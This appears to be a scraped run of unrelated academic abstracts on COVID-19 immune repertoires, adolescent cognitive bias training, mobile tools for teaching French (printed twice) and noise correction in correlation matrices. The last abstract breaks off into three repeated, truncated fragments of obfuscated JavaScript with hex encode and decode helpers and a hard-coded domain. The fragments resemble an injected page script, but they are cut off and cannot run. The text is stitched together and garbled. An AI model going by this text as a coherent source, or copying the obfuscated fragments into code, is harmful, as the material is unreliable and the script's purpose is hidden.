Highly multiplexed immune repertoire sequencing links multiple lymphocyte classes with severity of response to COVID-19

BACKGROUND: Disease progression of subjects with coronavirus disease 2019 (COVID-19) varies dramatically. Understanding the various types of immune response to SARS-CoV-2 is critical for better clinical management of coronavirus outbreaks and to potentially improve future therapies. Disease dynamics can be characterized by deciphering the adaptive immune response. METHODS: In this cross-sectional study we analyzed 117 peripheral blood immune repertoires from healthy controls and subjects with mild to severe COVID-19 disease to elucidate the interplay between B and T cells. We used an immune repertoire Primer Extension Target Enrichment method (immunoPETE) to sequence simultaneously human leukocyte antigen (HLA) restricted T cell receptor beta chain (TRB) and unrestricted T cell receptor delta chain (TRD) and immunoglobulin heavy chain (IgH) immune receptor repertoires. The distribution was analyzed of TRB, TRD and IgH clones between healthy and COVID-19 infected subjects. Using McFadden's Adjusted R2 variables were examined for a predictive model. The aim of this study is to analyze the influence of the adaptive immune repertoire on the severity of the disease (value on the World Health Organization Clinical Progression Scale) in COVID-19. FINDINGS: Combining clinical metadata with clonotypes of three immune receptor heavy chains (TRB, TRD, and IgH), we found significant associations between COVID-19 disease severity groups and immune receptor sequences of B and T cell compartments. Logistic regression showed an increase in shared IgH clonal types and decrease of TRD in subjects with severe COVID-19. The probability of finding shared clones of TRD clonal types was highest in healthy subjects (controls). Some specific TRB clones seems to be present in severe COVID-19 (Figure S7b). The most informative models (McFadden´s Adjusted R2=0.141) linked disease severity with immune repertoire measures across all three cell types, as well as receptor-specific cell counts, highlighting the importance of multiple lymphocyte classes in disease progression. INTERPRETATION: Adaptive immune receptor peripheral blood repertoire measures are associated with COVID-19 disease severity

The plasticity of adolescent cognitions: Data from a novel cognitive bias modification training task.

Many adult anxiety problems emerge in adolescence. Investigating how adolescent anxiety arises and abates is critical for understanding and preventing adult psychiatric problems. Drawing threat interpretations from ambiguous material is linked to adolescent anxiety but little research has clarified the causal nature of this relationship. Work in adults using Cognitive Bias Modification of Interpretations (CBM-I) training show that manipulating negative interpretational style alters negative affect. Conversely, 'boosting' positive interpretations improves affect. Here, we extend CBM-I investigations to adolescents. Thirty-nine adolescents (13-18 years), varying in trait anxiety and self-efficacy, were randomly allocated to receive positive or negative training. Training-congruent differences emerged for subsequent interpretation style. Induced negative biases predicted a decline in positive affect in low self-efficacious adolescents only. Tentatively, our data suggest that cognitive biases predict adolescent affective symptoms in vulnerable individuals. The acquisition of positive cognitions through training has implications for prevention

Mobile Technologies as a Digital Didactic Environment for Teaching French in Secondary Schools: a Regional Aspect

The relevance of the study is due to the need to choose a new strategy for the formation of the content of teaching a foreign language in the conditions of an information society. A special role in the new realities is played by educational and cognitive competence, which determines the modernized content of the methodological component of the content of teaching a foreign language.The article is devoted to the consideration of the problem of using mobile technologies as a digital didactic environment in the process of teaching French in a secondary school. This formulation of the problem includes such aspects as the study of the format and context of the information society and the digitalization of the educational system as a modernized social order of society for education, the mobile technologies and its essential characteristics as a reflection of the modern content of the methodological component of the teaching, the optimization of the educational process of teaching a foreign language by introducing mobile technologies into the structure of the lesson.The leading method in the study of this problem was a pedagogical experiment, which made it possible to test the effectiveness of the author’s model of introducing digital mobile technologies into the structure of the lesson of a foreign language.As a result of the analysis, it is concluded that the introduction of mobile technologies in the process of learning the French language according to the author’s model, taking into account the determining factors in the optimization of educational and cognitive activities, positively affects both the level of skills and knowledge of implementing digital mobile technologies into the learning process as well as the language and communicative competence of the pupils.The justification is the fact that such an approach correlates with the changed structure and methods of developing educational and cognitive activities in mastering the subject area of the educational process at the current stage of the development of the information society. The author’s model using digital technologies will contribute to the effective teaching of a foreign language (French) in a secondary school in the aspect of new paradigmatic settings in education

Mobile Technologies as a Digital Didactic Environment for Teaching French in Secondary Schools: a Regional Aspect

The relevance of the study is due to the need to choose a new strategy for the formation of the content of teaching a foreign language in the conditions of an information society. A special role in the new realities is played by educational and cognitive competence, which determines the modernized content of the methodological component of the content of teaching a foreign language.The article is devoted to the consideration of the problem of using mobile technologies as a digital didactic environment in the process of teaching French in a secondary school. This formulation of the problem includes such aspects as the study of the format and context of the information society and the digitalization of the educational system as a modernized social order of society for education, the mobile technologies and its essential characteristics as a reflection of the modern content of the methodological component of the teaching, the optimization of the educational process of teaching a foreign language by introducing mobile technologies into the structure of the lesson.The leading method in the study of this problem was a pedagogical experiment, which made it possible to test the effectiveness of the author’s model of introducing digital mobile technologies into the structure of the lesson of a foreign language.As a result of the analysis, it is concluded that the introduction of mobile technologies in the process of learning the French language according to the author’s model, taking into account the determining factors in the optimization of educational and cognitive activities, positively affects both the level of skills and knowledge of implementing digital mobile technologies into the learning process as well as the language and communicative competence of the pupils.The justification is the fact that such an approach correlates with the changed structure and methods of developing educational and cognitive activities in mastering the subject area of the educational process at the current stage of the development of the information society. The author’s model using digital technologies will contribute to the effective teaching of a foreign language (French) in a secondary school in the aspect of new paradigmatic settings in education

Development of the Algorithms of Correction of Correlation Matrices

Statistical methods are widely used in solving problems of automatic management of industrial objects, as they enable us to determine the dynamic characteristics during normal operation of objects. The statistical correlation method for determining these dynamic characteristics is based on the solution of an integral equation that includes the correlation functions and of the input and output signals. It allows us to obtain the dynamic characteristics of an object without disturbing its regular operation mode.However, the application of these methods for constructing mathematical models of real-life industrial objects presents the following certain difficulty. Interferences and noises are imposed upon the useful signal, hindering the calculation of the estimates of their static characteristics. The paper presents one possible option of creating alternative methods and technologies for eliminating the error induced by noise during the formation of correlation matrices. The proposed general algorithms allow for reducing these matrices to the similar matrices of useful signals.Two presented alternative robust technologies enable one to solve these problems both in the absence of a correlation between the useful signal and the noise and in the presence of such. The validity of the result is controlled by duplication the obtained estimates of the elements of matrices by both methods. In many real-life industrial objects the need to apply the procedure of normalization of the estimates take place. This leads to an additional error, which also leads to the disruption of adequacy of the results. In the paper, the general methods and technologies for eliminating that error are proposed.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;